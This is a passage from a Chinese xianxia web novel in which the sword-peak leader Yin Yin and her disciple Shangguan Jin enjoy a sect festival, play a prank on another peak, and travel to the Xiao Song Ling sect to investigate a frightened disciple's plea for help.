街上人头攒动,摩肩接踵。有舞狮睁着一对活灵活现的大眼睛对过路人哈气,殷吟刚点点它的头,转头就撞上一片烟熏火燎气,被呛了一大口,回过神来才发现是在做烧烤的摊贩。
几位弟子用的是一个方形的铁炉,网格下烧黑炭上铺油脂肥厚的烤肉,油光锃亮,殷吟看着觉得亲切,挥挥手想吸引身边人的注意力:“诶,上官今你看——”
身旁空无一人,殷吟的动作一顿。
他去哪了?
愿力节上没有长幼次序之分,加之殷吟特地学习了如何控制自己的灵力波动,故而现下没什么人注意到她。
弟子们三两成伴,言笑晏晏地来来去去,有人经过时不小心碰到她的肩,力度不大,只是殷吟出着神,便被撞得无意识地偏过肩去。
她的目光被迫从油脂飘香的烧烤转到街上的人声鼎沸,人潮络绎不绝,都穿得长袖飘飘,仙风道骨。
殷吟忽然兴致不太高了。
她向道路两边张望,无果,便想着不若沿着来时的路走回去,若是还碰不上便算了。
万人空巷,着实不是想遇便遇得到的,强求不来。
“师尊。”
思维纷乱之中,殷吟蓦地被这道突兀的声音唤回心神,冷冷的又轻飘飘的,好像随时会被人群冲散。
她倏地回过头,眼瞳一亮,果然看到险些隐没在汹涌人潮之中的上官今。
月上柳梢头,半空之中,绵延数里的浮空灯次第亮开,一路自他身后远远的地方蔓延过来,像七月联结的鹊桥,光芒晶莹剔透,衬得整个灯芯玉一般的温润。
有弟子高声:“哇,你们快看天上!”
“好漂亮!我以后也要去器峰!”
“就为了这点东西?这算什么,我还听说兽峰有羽毛五彩斑斓的奇鸟,阵峰有像满天星星的阵法……”
各年的弟子聚在一起,交谈起来愈发投机,恰谈着对未来的憧憬,高谈阔论。
上官今自人群中而过,一袭白衣亮得出尘,双手抱胸,似是不想沾染到旁边的人,反显得有些狼狈。
待他走近站定,殷吟看着他的神色,噗嗤一笑。
“笑我吗?”上官今抬眼,露出不解的神色。
殷吟正色:“你走得太慢了。”
“那我走快一点。”
语毕,上官今忽觉腕上一动,垂睫看去,他左手的衣袖被殷吟握住,隔着薄薄的绸缎拉着他走。
上官今亦步亦趋,缀在她身侧。
“师尊,你不看那灯吗?”
器峰的浮空灯星河装点得极美,几乎所有行人都停下步来,一片凝滞之中只有二人在走动。
殷吟的脑中霎时回想起方才浮空灯亮起的画面,摇摇头把它驱散:“不喜欢。”
上官今点头:“喔。”
半晌,前面的殷吟忽地停下,上官今腕上一松,旋而一方人面大的鬼脸被她递上来,在距他不足一拳的位置,正正四目相对。
上官今瞳孔骤缩,面上勉强维持着不动声色。
那是一张凶兽的面具,灵洲之上国郡无数,但行制样式都大差不差,一张红面,并绿黑几色的横纹,张牙舞爪活灵活现,仿佛真的在阴沉着目光窥伺一样,令人观而生寒。
他倒不怕,只觉着很丑。
面具挡住上官今的脸,殷吟看到他身形未动,只偏头错开遮挡,随即一张白净清隽的面容并在凶兽边出现,语气无辜:“我和它长得很像吗?”
殷吟没忍住笑出声来。
她把手放下,上官今方才正过头来,仍旧不明白殷吟在笑什么。
好久,殷吟终于停下来,弯弯的眼睛又圆回几分,神色认真:“你不觉得很好看吗?”
“我觉得很——”上官今说至一半,眼角瞥见正好奇地张望他们的摊主,把一字‘丑’字又收了回去。
他话峰一转:“挺好的。”
于是上官今便眼睁睁看着那张丑陋的面具被殷吟反过来,端端正正地带在他的脸上,借着他的躯壳张牙舞爪起来。
他无言叹气,难以置信。
殷吟又喊他:“上官今。”
上官今借着面具上两个像眼睛的孔洞看出来,见殷吟又给自己挑了一个更丑的黑色面具,浓稠如墨的眼睛稍阖,想装作看不到。
他回道:“怎么了?”
殷吟面上那张丑得过分的鬼脸转过来,脆声传过面具,听起来闷闷的:“你看起来有点傻。”
上官今:“嗯。”
你现在看上去也很傻。
他还试图与殷吟讲道理,但闹市之上锣声不断,殷吟又一心扑在这这那那的凤箭宝壶鱼龙舞之中,好半路才骤然反应过来,回头问他一句:“你刚刚说话了吗?”
上官今止声:“没有。”
·
一望无际的浮空灯银河在零点时毫无征兆地陡然熄灭,盛大的庆典黯然落幕,弟子纷纷归巢,一切溺于平静。
月色惨淡,夜黑风高。
器峰之上,规整的楼阁鳞次栉比,一簇一簇的像是菌落散布,缀在这座高耸入云的险峰表面,庄重肃穆。
楚字辈的弟子是去年入宗的,名册不难找,加之器峰每年招到的弟子都不多,上官今轻而易举就翻到了楚衡的底细。
他一手拿着那张红彤彤的丑面具,分着心神思考要给这个不知好歹的同修什么教训好,不等想出,便看到了面前大门紧闭的古朴院落。
上官今将面具带上,身形一动,便翻过那不高的围墙。
庭院中竹影簌簌,颜色淡得像斑,细看能在其中圈出一个人形的轮廓。
轮廓自婆娑清影中分离出来,一袭恍若虚影的白衣走至窗边,顺手又将面具揭下,掂在掌中。
窗户半敞着,寒风轻轻没入堂中,被压着的宣纸上洋洋洒洒撇了大半张墨字,正随着风起起伏伏。
上官今一睨,辨出最右边书的三个字是‘反思书’。
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>堂内寂静无声,同修大约皆已入眠。他伸手入室,指节在月色的笼罩下更显得苍白,像是从地狱伸上来的恶鬼骷髅。
他欲去拿那纸反思书,却在即将触及的一瞬间,瞥见了被半截窗户挡住的屋内,也伸出一只纤细的手。
上官今的动作一顿。
天地静谧,室中有清醒的人,他竟未觉半分。
屋内的人显然也发现了他,即将搭上桌案的手凝滞不动。二人不动声色,隔着半扇竹窗,似是对峙,又像试探。
上官今看那只手,觉得有几分眼熟,心中隐隐凝出一个虚影,一时忐忑。
须臾,屋内人率先动作。
她步子一移,髻上银饰先显了出来,雕梁画栋,繁复精美,一画一划像蛟龙身姿矫健卓越,闪着寒光。
而后那双微微挑起的丹凤眼露出窗棂,盛着天幕泄下的流转月光,盈盈晃着清波,眸色坚定,在触及上官今的面容时化为怔愣。
殷吟不可置信地拧了拧眉,想看清楚一点:“上官今?”
上官今掐着手中的面具,指节近乎惨白。面前的人和所想的虚影重合,他万万没想到会在这里碰到殷吟,一时间连将虚空中的手收回都忘了。
她为什么会来?
上官今呼吸微滞,如果说他方才心中还存着几分侥幸,觉得殷吟没有理由出现在此,现下那侥幸便尽数化作像是绝望的情绪。
他看着殷吟轻巧地抽出那张反思书,而后身形一动,出现在了窗外。
她站得不远,身边霎时又萦绕着她的气息,上官今感觉到自己的心跳不停地加快,一时压过了所有感官。
他不敢看她,只垂着睫,一手仍紧紧扣着面具。
直到殷吟站近一分,上官今像雏鸟受惊一般,蓦然抬头。
月光之下,她的低声中掩不住的雀跃:“喂,你来干嘛的?”
不像问责,倒像是找到知音的语气。
上官今哑声:“我……”
殷吟没听到他磨磨蹭蹭的下文,双手将写得狗爬字的宣纸卷好,撕成碎片随手扬飞。纸屑在半空中被点燃,闪烁着火星飘零而下,像是一场火树银花,而后熄成黑炭星星点点落下去。
上官今眼中泛出迷茫:“师尊,你这是做什么?”
殷吟瞥他一眼,声音理所当然:“我不消气,当然得做点消气的,让那小没眼力见的长长记性。”
上官今鬼使神差:“这不合宗规。”
殷吟一双明眸霎时暗了暗,眉梢微压,露出峰主的高傲作派来:“那你在这鬼鬼祟祟的做什么?”
上官今:“我错了。”
殷吟轻哼一声,不与他一般见识,勾勾手示意他跟上,自己则轻轻巧巧地迈开步子,朝那紧闭的大门去。
她只一抬眼,大门便无声无息地悄然打开,放出一条容人通过的姣小通道来,由她穿行。
上官今望着那狭窄的通道抿了抿唇,复又从那低墙翻了出来,跟上殷吟。
她的步子沉静,走时不动声色,只有身上衣绸流动着光,像月下爬上礁石的鲛人,身上波光粼粼,却让人瞧不出脾气。
9. 你不喜欢吗
上官今沉思片刻,而后抬履跟上。
“师尊。”
“做什么?”殷吟斜他一眼。
他斟酌着心中的话,预备开口,却见远远处星光点点,不在天上,看着却像是有人提着灯笼。
谷风和着人声传入他耳中:“什么人在那边?”
是守夜的排班弟子。
上官今神情微动。
若被擒到,本峰的弟子倒还好,顶多按峰规领罚,戒律堂走上一遭便是。但若被逮到是外峰人,便是长十张嘴都难以解释是何缘由。
夜黑风高,不在自己院舍之中,反倒千里迢迢来到其他峰上,能是有什么好想法?
他未反应过来,身旁的人已一手握住他的手腕,拉着他朝反方向跑。
殷吟神色凝重,跑起来时发丝飘动,隐隐能嗅到花香一般的气息。她的手指叩在他腕上,带着夜间的凉意,像没指甲的猫在挠人。
上官今以为她怕被发现,四目相对,却听她低声,恨铁不成钢一般:“你笨啊,站着等着被抓?”
他被按头训了一通,只好依言认下。
远处的星星点点反应过来,也急忙运着灵力飞过来,上官今听到疾遽而来的风声,推敲着距离:“师尊,要被追上了。”
几个守夜弟子的灵力自然远不及殷吟,但殷吟未动用灵力,又要带着他,速度便慢上加慢。
眼见那灯笼越提越近,殷吟心神一动,使了个传送的术法,二人便无影无踪。
日上三竿,剑苑大门紧闭,气氛沉闷。
上官今屈指,在那繁复花纹上叩了三下,方才听到苑中传出殷吟的声音。
“进来。”
比上次多一个字,语气却未见着多好。
上官今心觉怪异,推门而入。
是在生什么气吗?
他如上次一般经过庭院,临入堂时,见殷吟又坐在那张罗汉床上,面前悬着那面双生镜,正徐徐朝外吐着清音。
他抬履进去。
“剑峰的事务会暂交给卜漪打理,她办事妥帖你是知道的,还有什么不放心的?”
殷吟正怨天尤人地绞着头发,眼见上官今进来,神色一亮,便答:“我还有个新收的徒弟呢,昨天刚应下宗门大比的战约,我不能放下不管吧?”
上官今闻言愕然,透过双生镜与殷吟那双清明的眼睛对视。
他未作声,走到一旁静默等候。
双生镜沉默片刻,方道:“那把他也带上,行吧?”
殷吟:“……”
一点都不好。
她满目怨怼地看着白发老者手中的金杯,在他那一方高山流水的园林之中显得格格不入,审美差得惊为天人。
老者摇摇金杯,将茶水饮尽:“此事确是有些仓促,你心中有气是难免,这样吧,你看看有什么想要的,只要宗里有,便允给你当作补偿,如何?”
殷吟沉默一瞬,转身去摸那本《道生宗典藏一览》。
老者飞快补充:“只允一件!”
殷吟抽出书籍,压下自己想用嫌弃的目光看进镜内的想法,手指翻动着边缘发黄的书页,细细斟酌。
半晌,她把摊开的书页展示给双生镜,怼近让老者看得一清二楚:“那我要这个。”
书中并无墨字,是纂书者以灵力将所见具象化,将琳琅满目的法宝实景储于纸中。
殷吟所指的一页是一柄剑,剑身雅致笔直,转动间流光溢彩,细看却独独闪着一色似雪的纯白。
她虽没见过多少剑,但观之的第一眼,便觉天地失色,世上无剑再比得上这一柄。
上官今未再听到老者的声音,少焉,双生镜无声合上,原先绞合转动的齿轮隐没在镜身之中,使之看起来就像一面平平无奇的镜子。
他又听到风声破空,另一面双生镜自远处飞掠入室,二者合为一体之前,镜面如水面一般漾起波纹,而后一柄长剑缓缓自其中升起。
双生镜合二为一,彻底不动了。
殷吟握住剑柄,眼中惊艳之色溢于言表。
书中没有记录苍山剑的剑鞘,眼下一见,她方发觉也是极美。花纹只覆鞘上刃处,剑身通体留白,又不叫人觉得空,无光自亮,圣洁素雅。
殷吟心中欣喜,便用剑鞘朝上官今一挑,将苍山展示给他看,语气欢快:“来做什么?”
上官今抿唇,垂眼看那剑身,瞳中不见几分惊羡:“弟子昨夜在器峰时说话没有轻重,怕师尊还在生气,便来请罪。”
殷吟想了片刻,了然点头:“你说那个啊,我都快忘了。”
她又将剑身晃动:“看,好看吗?”
“师尊得新剑如何开心,”上官今语气起伏,回想起进门时听到的那两句对话,“是把我卖了吗?”
殷吟想起老者的条件,嗤之以鼻:“你可卖不出这么好的价钱。”
上官今静默,不知是喜是悲,待她继续说。
“我要去小宋岭一趟,大概一年时间。”殷吟收剑,竖指比了个一。
上官今看着殷吟的手:“一年?”
“对,”殷吟将剑柄稍提,一指出鞘的剑身霎时焕出五彩斑斓的流光,将屋中照得通透几分,“这是对我不辞辛苦地工作的补偿与嘉奖。”
她欣赏了剑身的流光溢彩,方去看上官今,见他似乎心不在焉,不由凝眉。
“能不能认真听我说话?”
“师尊,我在听。”上官今回道。
若是正正一年,那下次见殷吟便是在临近宗门大比的时候,但若有什么变动,她回得再晚一些,怕就不止。
殷吟见他仍心神不定,走近用苍山的剑鞘敲他:“你呢,要去小宋岭,还是留在剑峰?”
上官今手背一冷,倏地回神:“我也可以去吗?”
殷吟:“你刚刚没听见吗?”
上官今默了一瞬,又再细细回想方才听到的她和宗主的零星几句交谈,思维回笼:“我去。”
“喔,”殷吟无甚表情,将苍山直接卡进他的手中,像是在处理无关紧要的东西,旋而嘱咐道,“那你回去收东西,今日未时出发。”
上官今不明白殷吟为何又不要这柄剑了,眼底漫上几分疑惑。
“我已经有了一柄剑,再多一把多少累赘,”殷吟看他,“你不喜欢?”
她的私库中要风得风,此剑本来便只是为了个长得好看讨的。自己拿着累赘,放在上官今身上便物得其所,她亦天天能见。
上官今眼中明明灭灭,而后握着剑柄的手微微收紧:“喜欢。”
未时,剑苑外,仙鹤凌空而起,驮着两人隐没入云层之中,无声无息,无影无踪。
道生宗远离人界,地处一条极深的灵脉之上,灵脉的尽头多是人间,方有源源不断的愿力化灵供养,无穷匮也。
小宋岭则不同,它不建于依地势而成的自然灵脉之上,而是直接依人间而立,近水楼台得到当地的愿力,以此立宗。
总之,这是一个与人界牵涉颇深的宗门,殷吟此次前往,便不只能看到小宋岭修者,更能接触到普通人家。
上
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官今坐久无聊,便问:“师尊,我们为什么要去小宋岭?”
殷吟双手紧紧扯着仙鹤的光亮白毛,生怕一个不小心掉下去,闻言紧声:“小宋岭与我宗素有往来,此次也是依旧俗,每五年派一位峰主前往……联络感情。”
她美化了些许。
照殷吟所听,小宋岭虽近人间,但愿力终归不如一些深厚灵脉上生出的宗门浩荡,故而也是一个小宗门。
小宗小门,想要在灵州之上立足,获得与其他大门派一同争夺资缘的机会,便免不了要依附些什么。
小宋岭便是依附着道生宗,道生宗峰主五年拜访一次,既是维持与其的往来,也是敲打这个小宗门克己复礼,少动歪心思。
“听说那里依山傍水而建,风景怡人,很是适合剑修清修。”殷吟又道。
这些也是她从宗主那里听来的,看得出宗主想让她来小宋岭已然利诱再利诱,无所不用其极了。
上官今想,依人界而建,每日光是市井烟火气便熏人,自不适宜清修。难道小宋岭的清修是要在山中,那岂不是猴子。
不过他并未将此言宣之于口。
仙鹤已飞至小宋岭上方,底下群山连绵,青绿生动,候鸟盘绕山间,比他们的高度要低一半有余,喳喳作响。
仙鹤识路,眼见一处光秃,便压翼掠了下去,发出一声极轻快的鸣声。
再不到目的地它就要被殷峰主抓秃了,美丽不复!
殷吟被它出其不意的猝变一惊,竟真的一时力度不察,揪下它两根雪色羽毛来。
仙鹤:“……”
它慢下动作,稳稳当当落在了一行山道石梯之上,抻着脖子朝前低头。
石梯依山势蜿蜒而上,逶迤绮丽,未几步便是一个石制牌坊,极高大宏伟,螭吻盘绕两侧,双目突出,瞪视坊下人。
见仙鹤落地,坊下身着典雅的数人款款上前,眉眼含笑。
打头的二人一青一黄,一静一动。
黄衣的中年男子率先启声,拱手迎道:“许久未见啊,殷峰主!”
殷吟运气下鹤,仙鹤仰天长鸣,扑扑翅膀朝远处集聚的山雀掠过去了。
殷吟额角微抽,焕出笑颜:“许久不见,许久不见。”
上官今抿唇,很怀疑殷吟是否真的记得面前的人。
黄衣男子面无尬色:“在下小宋岭颂宗宗主宋木,这是门主青圭。”
一旁的青衣女子颔首致意,眉目含笑。
宋木收回话头:“令宗宗主已与在下传音,这位想必便是峰主弟子吧?真是丰神俊朗,玉树临风,不日必成大器啊!”
他一番豪言,身后跟从的弟子目光便齐齐落到上官今身上,像是一盘圆溜溜的绿豆。
殷吟听得想笑,转头不动声色地朝他比口型:“必成大器!”
上官今黑瞳瞳的眼睛望着她,感情真挚又茫然地眨了一下。
宋木乐呵呵地又赞几句,携着东道主的范儿,又恭身请二位贵客入内。
石阶蜿蜒而上,曲折回环,看着虽老久年迈,却不见青苔上阶,干净得纤尘不染,殷吟不禁感叹。
宋木行在其上,闻言回过半个身子:“都是小宋岭边居住的百姓自发来打扫的,我们也常常下山除附近妖魔,算是互帮互助吧。”
殷吟笑道:“这么说,贵宗与此地居民关系还真是不错。”
身后衣袂飘飘的小童们你推我搡,推了个豆蔻年华的女孩出来:“峰主姐姐,我们很多弟子的家都在小宋岭,是宋宗主允许我们入宗修行的。”
10. 是我很吓人吗
“哇,那你们要认真学习噢。”殷吟摸摸她的头发,小女孩便羞涩一笑,衣裙飘飘,回身没进童子丛中。
殷吟收回手,愈发习惯这种哄小孩的语调了。
这些十四五岁的少女少年总用待长辈的方式待她,她想或许是小孩们单纯,以为她是修为高深鹤发童颜的老者。
宋木:“殷峰主若是有兴趣,不妨一同到弟子们修习的院落去看看。不过今早给他们放了半天假,现在怕是没什么人。”
殷吟应允:“也好,若是上课了,反倒不便参观。”
宋木哈哈一笑,抬手示意小童子们上前领路。
行至颂宗之中,山路愈发开朗,原先的蛇形小径蔓延而上,渐渐也开阔起来,分出多道枝岔,横斜着逸往不同方向。
小童子们推推搡搡,欢声笑语漫着整道路,须臾便来到一座古朴的院落,推门而入,登时四散。
殷吟不明为何,便见庭中大片东方脊蕨簌簌而动,从中蓦地探出一个手执毛笔的小女孩,眼睛眨巴一下:“你是谁?”
她莞尔:“你好呀。”
女孩脆生生看她,宋木招她过来:“叶叶,又在画符箓?”
叫叶叶的女孩乖乖站起,从那大片绿叶中钻出来:“独孤姐姐教我的,这片脊蕨都是我的符箓催生出来的,厉害吧!”
“厉害!”
叶叶盈盈笑,抱着毛笔又钻回叶中。
宋木作请,引二人入屋舍中去,有童子在念书,声音清越。
他道:“叶叶才六岁,启蒙时便被选入颂宗,家就在小宋岭下。”
殷吟好奇:“叶叶口中那位独孤姐姐是她们的老师?”
“不是不是,”宋木摆手,“是比她大的一位弟子,殷峰主应当有印象,便是方才与您搭话的那位。”
她摸了摸头的那位小女孩。
殷吟了然,寻觅一番,便在朗声诵书的童子们中发现了她的身影。
少女罗髻整齐,系对称的两根绿色飘带,模样清丽,读书时一板一眼,像极了一个小讲师。
殷吟蓦然发觉,方才入院时童子们哄然四散,约摸是在各处扮着读书相来给她看呢。
如此看来,颂宗的风土人情还挺纯朴天真,上下和谐的。
仙鹤栖在小宋岭山间,与山野鸟兽作陪候召。
宋木细心为二人安排了一处僻静清幽的院落,无心插柳地契合了殷吟所说的清修,终日鸟鸣虫叫,不闻半点人迹。
小宋岭地处偏北,此时正值开春,未见着雪,却是春寒料峭,山风淬了冰块一般,寻常的筑基弟子还要穿襦袄御寒。
寒冷刺骨的河水方才化冻,日过正午,远处弟子院落书声朗朗,偶有剑气软绵掠出,飞不太远。
上官今长睫垂下,薄薄的冰层还点点飘在水面,他神情平静地浣着衣物,浸于江中的手指节发红,水带着崎岖的细冰来回漂荡。
不远有两块黢黑的山石,垒在一起正好搭成一张小椅样式,殷吟盘腿坐着,有些心虚:“不说话,生气啦?”
“没有。”上官今摇头,额前的碎发便轻轻颤动。
“真的?”殷吟探头,离近看他,不禁想起早些时候。
昨日初至颂宗,宋宗主很是热情地带她们上下逛了一圈,山路弯弯绕绕柳暗花明,起初看着有趣,看久了便迷糊。
而后,宋木便带二人来到预备的住所,是一方小院,庭中有花有草,诗情画意。
院中小屋呈凹型,坐北朝南,左右各是一方独立的耳房。
高价修者可辟谷少寐,殷吟却割舍不了睡觉,一夜无梦到翌日正午,阳光隔着窗户油纸晒至榻上才将她晃醒。
她又躺着发了会儿呆,拿上昨夜懒得洗的衣裳出去,顺路想看看小宋岭有什么好吃的东西。
格栅门一开,殷吟瞥见外头半个身影,佩剑倚墙,寒风簌簌吹动他的衣摆,有如白玉。
她霎时耳清目明,差点吓得把门呯地再合上。
在剑峰时,殷吟把上官今甩手给了外门的老师,自己便清闲无事,倒忘了来到颂宗,少了那些老师,徒弟便自然而然要她自己教了。
她恍然发觉,原来自己也属于上学时迟到,当老师后睡到日上三竿一类。
少年察觉动静,微微偏头看过来。
殷吟深呼吸,做了心理准备后缓缓拉动木门,让门外人的目光能通过遮挡,落在她身上:“早啊。”
上官今心中叹气。
“真的。”
他本就不该奢望殷吟一位想得出以风寒为借口,哄骗弟子去挖山药摘桂花的靠谱师尊能在早晨起床。
殷吟坐正回去,不出一息又背靠在石上看天。
天色蔚蓝,一碧如洗。
“我明天会起来的。”
上官今:“好。”
殷吟狡辩:“真的!”
她坐正起来,恰好瞥见远处弟子院落的院门开合,一袭青衣飘飘然向中而出,神情淡漠。
青圭遥有所感这目光,回眸看过来,远远颔首致意。
殷吟朝她笑。
青圭领意,回身向着远处起起伏伏的石阶去了。
殷吟回神,心觉奇怪:“我好像还没听过青门主说话。”
昨日初至颂宗时,便一直是宋木在与她攀谈。青圭虽作为门主低他一阶,颂宗却不见是如此等级森严的门派,低半品便不可僭越出言。
上官今摇摇头,将浸在江水中的袖衫翻了个面:“我也未听到过。”
殷吟略作思索,指了指自己:“是我很吓人吗?”
上官今:“不吓人。”
“你说实话。”
上官今浣衣的动作一顿,垂眼思索半晌,煞有介事地回道:“有一点。”
殷吟:“……”
她看看天,又低头看看面前的人,陷入沉思。
少焉,殷吟忽地从山石之上站起,少年平静的神色微动,偏头问她。
“怎么了?”
殷吟搓搓手:“我来帮你。”
虽然里面也有她的衣服,但她来帮忙了,在上官今眼中总会和颜悦色几分吧?
上官今仓惶起身,如松的身形便拦在她面前。
殷吟发现他又长高了一些,往常她只需要微微仰头便能从他对视,脖子也不会酸,现在却不行。
她有些奇怪:“你做什么,干什么坏事啦?”
上官今垂睫,未察觉到她的动作,眼中神色变化,如乍雨乍晴,纷纷变化。
半晌,他的长睫在空中颤了颤,指节微屈:“没有做坏事,师尊,你坐着就好。”
殷吟不吃这套,越想越疑,作势要从他旁边过:“那你拦着我做什么?”
“没有拦着,”上
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官今轻声,见止不住她,便微偏过身,矮身在她耳边道,“对面有人,方才便一直看着我们。”
殷吟看他:“我去看看。”
“那我——”上官今望着她澄澈如水的眼睛,话至一半,面前人的身形已消散无踪,连同那双眼睛,消失得干干净净。
那我与师尊一同去。
上官今默然,回身步回江边,将未涤净的衣服深深浸入江水之中,寒意丝丝漫上指尖。
草丛之中,亭植窥见远处江边女子的身影骤灭,心中骇然,便想行小路先回院落之中去。
她甫一转身,眼中便被一抹格格不入的碧色占据。亭植眼瞳骤睁,抬头看去,确实来人的面容后,她顾不上思考,登时扑过去。
殷吟被少女的动静吓了一跳,本想避开,却听到她哭音,动作凝滞。
“仙君,求求你救救我!求仙君救救我!”亭植跪着往前趔趄,揪着仙君衣摆的双手不止地颤抖,双目通红。
殷吟拧了拧眉。
少女看上去与日前见的颂宗弟子年纪相仿,服饰的行制也极像,应是宗内弟子。
但她为什么说,要她相救?
“我帮你,你先冷静一下,”殷吟蹲下,扶住少女死死揪住她裙摆的双手,想搀她起身,“你跟我说发生了什么,我帮你。”
亭植方欲回答,只觉喉间一滞,旋而品出几分腥甜。她不止地摇头,涕泗横流:“我不能说,我不能说,求仙君救救我,我不想死……”
殷吟眉头蹙得愈深。
救救我,不能说,不想死。
颂宗之中,究竟是什么样的存在,会逼得一个修习的弟子说出这番话?
她出神不过几息,少女已然抹了一把泪,摇摇晃晃地支着地站起来。
殷吟想留住她,她却反躲开,抽抽答答:“她要发现了,我得回去,我叫亭净,仙君,我不想死,求你救救我。”
亭净愈走愈远,眼睛却一直看着殷吟,似是绝望到了极点,想抓住什么不放开,又不得不松手。
“不能说,不想死……”殷吟坐在庭院中的石椅之上,细细回想着那位名唤亭植的姑娘的几句话。
亭植的话不多,殷吟翻来覆去,也未能在那寥寥数语中品出更多的言外之意。
这不是养成本吗,怎么忽然变成探秘了?!
她毫无头绪,倏地听到门外传来脚步声,沿着石阶迤升,而后上官今推门而入,双手提着装衣的竹篮。
应是方从江边回来。
殷吟朝他招手。
上官今乖巧地走近,将竹篮轻置在石桌上:“师尊,那人抓住了吗?”
殷吟摇摇头,又点点头,将方才与亭植的对话简略一些,拣着重点说给他听。
语毕,她抬眼看,上官今神色怪异,长眉微蹙。
“你也觉得奇怪吧?”
上官今点头:“嗯。”
“什么想法,说来听听。”殷吟手指轻勾,原本立在对面的另一只石凳便灵巧飞来。
上官今整衽坐下,迎着殷吟殷切的目光:“若按那位弟子所言,大抵是有人给她下了什么咒,令她不能言明原委。但在颂宗……小宋岭中,能做到此事的人应当寥寥无几。”
“小宋岭只有颂宗一仙门,颂宗之内也只有一宗主一门主,”殷吟稍顿,“宋木和青圭,有可能是谁呢?”
11. 这是我的弟弟
上官今宽慰她:“或许是藏匿在附近的妖魔呢。”
殷吟回道:“也不无可能。”
她忽回想起宗主好说歹说都要让她到小宋岭来,难道是已然知晓了此地有古怪?
这个想法方冒出,又被自己否决。
如果宗主早已知晓此地的状况,何不大大方方地告诉她,反叫她来一步步猜察,这不是白白浪费时间?
最后,二人还是倾向颂宗内部出现了问题,并决定明日一早混入弟子院落中去,最好能再见亭植一面。
翌日,天光大亮,书声琅琅。
右耳房的格栅门大开,嘎吱一声狠厉又急遽。阳光灿烂之中,殷吟眼睛一痛,直至门前人走近遮住了日光,方能勉强睁开视物。
“……早。”
她险些又晚了。
本以为卡着约定的时间出门便是,未曾想上官今已然穿戴整齐等着她,乌黑如云的长发束成马尾,佩剑悬于腰际,被外袍隐得若隐若现,并不抢眼。
“早安,师尊。”
殷吟不好意思地看看自己的履头,方才她有些急,一不小心把上面的花样踩扁了。
她找话:“你还喜欢穿搭啊?”
上官今轻声:“天气冷。”
殷吟嘴比脑子快:“那你昨天洗衣服时不冷?”
他昨天未着外袍。
上官今:“……”
他未来得及违心地回答一声不冷,殷吟福至心灵,快步越过他往门口走,头愈发埋得低了。
“快走快走,不早了。”
她们暂居的院落距弟子修习的院落有不近的一段时间,加之山路曲折回环,殷吟并不能摸准弟子院落在哪个方位并距此多远。
为避打草惊蛇,便不宜传送。
她们从昨日偶遇亭植的草堆走,那一片的末尾距弟子院落很近,又有大片生发茂盛的脊蕨作掩,不易被过路人发现。
将进弟子院落,殷吟照昨夜恶补的隐身咒,依葫芦画瓢制出两张,分别印在自己和上官今身上。
而后,二人从后门溜进院落之中。
身处院落之内,听到的诵书声便愈大了,童子声音本就清脆,又带着少年骨子里的韧劲,读起文章来声音一浪盖过一浪,似是麦子在拔节。
殷吟被震得耳朵痛,偏又好奇,拉着上官今想往堂中去。
上官今自然听她的话。
行至堂外,殷吟隔窗看见讲师是宋木,又踌躇起来。
她的三脚猫功夫,骗骗这些小童子是没问题,但要糊弄有些修为的宋宗主,心中难免心慌。
上官今方欲抬履而上,便感知到手上力道,步子凝滞。他偏头,发尾在阳光中轻轻晃:“怎么了?”
殷吟咬唇:“被发现了怎么办?”
“嗯……”上官今目光微转,往堂中光亮的讲台看去一眼,义正辞严,“被发现了就说我们闲得无事,到处走走?”
殷吟赞同:“好主意。”
二人踏上堂中,履子打在木制地板之上,半点声响未曾掀动。
殷吟起初仍心中惴惴,后眼见光明正大地在宋木眼皮子底下逛了三个来回,他都无甚反应,便镇定下来,继续一排一排观察着童子们。
堂中座位四行六列,共二十三个弟子,皆整齐穿戴弟子服,坐得笔直端正。殷吟看到了叶叶、独孤净与许许多多生疏面孔,独独没看到亭植。
少顷,门外传来敲钟声,许是下课铃,宋木理理书本,与童子们作别。
他踏出学堂,殷吟便将亭植不在的发现告知上官今。
“现在怎么办?”
她们来到这里的目的之一便是试试能不能在亭植口中了解到更多内容,眼下见不到她,蓦然失了目标。
上官今稍作思考:“不如我们拣两个人化形,从其他弟子下手?”
殷吟点头:“你觉得从谁下手化形不会被发现?”
无论是化作谁,一个学堂中出现两个一模一样的人都是极惊悚的事情了。
上官今似是料到她会问这个问题,抬指遥遥一点:“他们。”
殷吟远远看去,是她方才便注意过的一对兄妹,大的贪玩小的听话。
只不过是听她哥哥的话。
殷吟心神一动,二人鬼鬼祟祟的对话便透过嘈杂的学堂落入耳中——
“我要先行去吃午膳,妹妹你去不去?”
“我要和哥哥一起!”
二人大手牵着小手,瞧堂内无人注意,便从后面的门遁了出去,无声无息。
上官今如果这副模样,她最开始便直接把他扔下剑峰,让他连熬成宗主的可能都没有。
殷吟收回目光,额角轻跳:“你会化形术吗?”
上官今不知她心中弯弯绕绕,闻言面露惑意:“师尊,你不会吗?”
殷吟:“……”
“不会,”她直截了当,心虚地望向远处,“我原本的想法是绑两个人出去严刑拷打,得到情报之后再把他们的记忆全都清除。”
所以她只新习得了静音术和消忆术。
上官今默然。
片刻,他找回自己的声音:“那我们就这样做?”
也不是不可以。
殷吟默然。
她恍然想明白一件事,如果上官今是有这样子山匪想法的人,她也会选择直接扔出剑峰。
殷吟自我审视一番,而后深呼吸,似乎是要把自己身体内的浊气尽数排出。她亮烔烔的眼睛在阳光中盛着金光:“就扮成他们!”
上官今静默看着她,亦不清楚师尊又在这短短时间内进行了如何深刻的自我反思。
殷吟的储物袋内随身携带着书籍,各种法术符箓,只要道生宗有记载,无有遗漏。
她轻车熟路地使用了一个寻物术,便找到化形术的记载处。
上官今看着殷吟一面研读书籍,一面在虚空之中圈圈点点,很是忧虑这个过于随心的诀会被用到他身上。
殷吟画到最后自信一勾,抬头瞧他。
上官今认命伸手,垂睫看着那个略显潦草的化形诀被打在他的手心。
而后,光芒大盛将他包裹,上官今感觉身上骨骼好像被重新淬炼锻造了一遭,身形缓缓发生着变化,旋而肩上一寒,印在衣上的隐身咒被剥离,在空中化为点点虚芒,消弭。
接连的两道光芒并没有引起学堂中弟子们的注意,白光散去,上官今微微仰头,望着比他高半个头的殷吟,白白净净的玉瓷面,双眼圆润润地注视着他,似笑非笑。
上官今回想方才那对兄妹的身形与外貌:“师尊,你觉得像吗?”
殷吟掩面笑:“哈哈。”
自然是丝毫不像的。
书籍上说,画咒时要想着自己所要化形的相貌,把它融入到咒中。不过殷吟心中还是有股气,不想当矮乎乎的小娃娃……她平日就够矮了!
于是她在画咒之余就难免分心,思量着自己高一些、上
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官今矮一些的模样,愈想愈深,等到她反应过来,已然把两个模样的相貌也润色了一番,清晰成竹。
看来是她的诚意打动了化形术。
